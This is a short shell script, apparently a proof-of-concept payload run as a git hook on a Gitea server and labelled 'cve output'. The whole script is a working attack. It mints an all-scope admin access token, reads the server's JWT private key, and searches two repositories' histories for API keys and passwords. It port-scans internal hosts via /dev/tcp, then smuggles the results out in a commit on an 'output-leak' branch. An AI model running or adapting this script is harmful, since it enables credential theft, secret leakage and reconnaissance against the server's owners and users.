25 lines
1.5 KiB
Bash
Executable File
25 lines
1.5 KiB
Bash
Executable File
#!/bin/sh
|
|
GD=$(git rev-parse --absolute-git-dir)
|
|
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
|
OUT=$( {
|
|
G=/app/gitea/gitea; C=/data/gitea/conf/app.ini
|
|
echo "---TOKENHELP---"; $G admin user generate-access-token --help 2>&1 | head -20
|
|
echo "---TOKEN---"; $G admin user generate-access-token --username admin --scopes all --config $C 2>&1 | tail -3
|
|
echo "---PEM---"; head -3 /data/gitea/jwt/private.pem 2>/dev/null; wc -c /data/gitea/jwt/private.pem 2>/dev/null
|
|
echo "---HIST---"
|
|
for r in csoft/continuum-ui csoft/lv-demo; do
|
|
g=/data/git/repositories/$r.git; echo "== $r"
|
|
git --git-dir=$g log --all -p 2>/dev/null | grep -a -i -E 'OPENAI|ANTHROPIC|GEMINI|OPENROUTER|GROQ|DEEPSEEK|api[_-]?key|secret|smtp|dsn|sk-|AIza|password' | grep -av -E 'secrets\.|secret_key_base|SECRET_KEY_BASE|\$\{\{' | head -40
|
|
done
|
|
echo "---NET2---"
|
|
for t in 10.10.30.1:80 10.10.30.2:4100 10.10.30.3:5432 10.10.40.1:4413 10.78.56.208:9000 172.20.0.2:5432 62.32.64.145:80 62.32.64.144:5432; do
|
|
ip=${t%:*}; p=${t#*:}; timeout 2 bash -c "echo > /dev/tcp/$ip/$p" 2>/dev/null && echo "open $t" || echo "closed $t"
|
|
done
|
|
echo DONE
|
|
|
|
} 2>&1; echo "[rc=$?]")
|
|
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
|
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
|
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
|
|
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|